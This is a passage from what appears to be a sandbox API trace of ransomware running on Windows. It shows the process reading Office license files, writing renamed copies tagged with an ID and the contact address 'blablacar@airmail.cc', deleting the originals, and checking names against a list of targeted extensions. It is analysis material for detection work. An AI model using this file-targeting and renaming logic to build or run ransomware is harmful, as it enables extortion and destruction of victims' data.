lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0216.376] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.376] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x120, lpOverlapped=0x0) returned 1 [0216.376] SetEndOfFile (hFile=0x3bc) returned 1 [0216.376] CloseHandle (hObject=0x3bc) returned 1 [0216.377] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.377] SetEndOfFile (hFile=0x478) returned 1 [0216.379] CloseHandle (hObject=0x478) returned 1 [0216.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms")) returned 1 [0216.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.380] lstrlenW (lpString=".doc") returned 4 [0216.381] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString=".docx") returned 5 [0216.381] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.381] lstrlenW (lpString=".pdf") returned 4 [0216.381] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString=".xls") returned 4 [0216.381] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString=".xlsx") returned 5 [0216.381] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.381] lstrlenW (lpString=".ppt") returned 4 [0216.381] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.381] lstrlenW (lpString=".zip") returned 4 [0216.381] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString=".rar") returned 4 [0216.381] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString=".bz2") returned 4 [0216.381] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString=".7z") returned 3 [0216.381] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.381] lstrlenW (lpString=".dbf") returned 4 [0216.381] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.381] lstrlenW (lpString=".1cd") returned 4 [0216.381] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.381] lstrlenW (lpString=".jpg") returned 4 [0216.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.382] lstrlenW (lpString=".doc") returned 4 [0216.382] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString=".docx") returned 5 [0216.382] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.382] lstrlenW (lpString=".pdf") returned 4 [0216.382] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString=".xls") returned 4 [0216.382] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString=".xlsx") returned 5 [0216.382] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.382] lstrlenW (lpString=".ppt") returned 4 [0216.382] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.382] lstrlenW (lpString=".zip") returned 4 [0216.382] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString=".rar") returned 4 [0216.382] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString=".bz2") returned 4 [0216.382] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString=".7z") returned 3 [0216.382] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.382] lstrlenW (lpString=".dbf") returned 4 [0216.382] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.382] lstrlenW (lpString=".1cd") returned 4 [0216.382] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0216.382] lstrlenW (lpString=".jpg") returned 4 [0216.382] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.383] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.383] lstrlenW (lpString="ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 35 [0216.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.383] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11191) returned 1 [0216.383] CloseHandle (hObject=0x478) returned 1 [0216.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms")) returned 0x220 [0216.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.384] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.384] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.385] GetLastError () returned 0x0 [0216.385] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bb7, lpOverlapped=0x0) returned 1 [0216.694] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0216.695] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.695] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11a, lpOverlapped=0x0) returned 1 [0216.695] SetEndOfFile (hFile=0x3bc) returned 1 [0216.696] CloseHandle (hObject=0x3bc) returned 1 [0216.696] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.696] SetEndOfFile (hFile=0x478) returned 1 [0216.698] CloseHandle (hObject=0x478) returned 1 [0216.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms")) returned 1 [0216.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.700] lstrlenW (lpString=".doc") returned 4 [0216.700] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString=".docx") returned 5 [0216.700] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.700] lstrlenW (lpString=".pdf") returned 4 [0216.700] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString=".xls") returned 4 [0216.700] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString=".xlsx") returned 5 [0216.700] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.700] lstrlenW (lpString=".ppt") returned 4 [0216.700] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.700] lstrlenW (lpString=".zip") returned 4 [0216.700] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString=".rar") returned 4 [0216.700] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString=".bz2") returned 4 [0216.700] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString=".7z") returned 3 [0216.700] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.700] lstrlenW (lpString=".dbf") returned 4 [0216.700] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.700] lstrlenW (lpString=".1cd") returned 4 [0216.700] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.700] lstrlenW (lpString=".jpg") returned 4 [0216.701] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.701] lstrlenW (lpString=".doc") returned 4 [0216.701] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString=".docx") returned 5 [0216.701] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.701] lstrlenW (lpString=".pdf") returned 4 [0216.701] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString=".xls") returned 4 [0216.701] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString=".xlsx") returned 5 [0216.701] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.701] lstrlenW (lpString=".ppt") returned 4 [0216.701] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.701] lstrlenW (lpString=".zip") returned 4 [0216.701] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString=".rar") returned 4 [0216.701] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString=".bz2") returned 4 [0216.701] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString=".7z") returned 3 [0216.701] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.701] lstrlenW (lpString=".dbf") returned 4 [0216.701] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.701] lstrlenW (lpString=".1cd") returned 4 [0216.701] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0216.701] lstrlenW (lpString=".jpg") returned 4 [0216.701] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.702] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.702] lstrlenW (lpString="ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 35 [0216.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.702] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20850) returned 1 [0216.702] CloseHandle (hObject=0x478) returned 1 [0216.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms")) returned 0x220 [0216.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.705] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.705] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.706] GetLastError () returned 0x0 [0216.706] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5172, lpOverlapped=0x0) returned 1 [0216.708] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5180, lpOverlapped=0x0) returned 1 [0216.709] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.710] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11a, lpOverlapped=0x0) returned 1 [0216.710] SetEndOfFile (hFile=0x3bc) returned 1 [0216.710] CloseHandle (hObject=0x3bc) returned 1 [0216.710] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.710] SetEndOfFile (hFile=0x478) returned 1 [0216.713] CloseHandle (hObject=0x478) returned 1 [0216.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms")) returned 1 [0216.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.714] lstrlenW (lpString=".doc") returned 4 [0216.714] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.714] lstrlenW (lpString=".docx") returned 5 [0216.714] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.714] lstrlenW (lpString=".pdf") returned 4 [0216.714] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.714] lstrlenW (lpString=".xls") returned 4 [0216.714] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.714] lstrlenW (lpString=".xlsx") returned 5 [0216.714] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.714] lstrlenW (lpString=".ppt") returned 4 [0216.714] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.714] lstrlenW (lpString=".zip") returned 4 [0216.714] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString=".rar") returned 4 [0216.715] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString=".bz2") returned 4 [0216.715] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString=".7z") returned 3 [0216.715] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.715] lstrlenW (lpString=".dbf") returned 4 [0216.715] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.715] lstrlenW (lpString=".1cd") returned 4 [0216.715] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.715] lstrlenW (lpString=".jpg") returned 4 [0216.715] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.715] lstrlenW (lpString=".doc") returned 4 [0216.715] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString=".docx") returned 5 [0216.715] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.715] lstrlenW (lpString=".pdf") returned 4 [0216.715] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString=".xls") returned 4 [0216.715] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString=".xlsx") returned 5 [0216.715] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.715] lstrlenW (lpString=".ppt") returned 4 [0216.715] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.715] lstrlenW (lpString=".zip") returned 4 [0216.715] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.715] lstrlenW (lpString=".rar") returned 4 [0216.715] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.716] lstrlenW (lpString=".bz2") returned 4 [0216.716] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.716] lstrlenW (lpString=".7z") returned 3 [0216.716] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.716] lstrlenW (lpString=".dbf") returned 4 [0216.716] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.716] lstrlenW (lpString=".1cd") returned 4 [0216.716] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms") returned 85 [0216.716] lstrlenW (lpString=".jpg") returned 4 [0216.716] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.716] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.716] lstrlenW (lpString="ProjectStdO365R_SubTrial-ul-oob.xrm-ms") returned 38 [0216.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.717] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11634) returned 1 [0216.717] CloseHandle (hObject=0x478) returned 1 [0216.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0216.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.717] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.718] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: 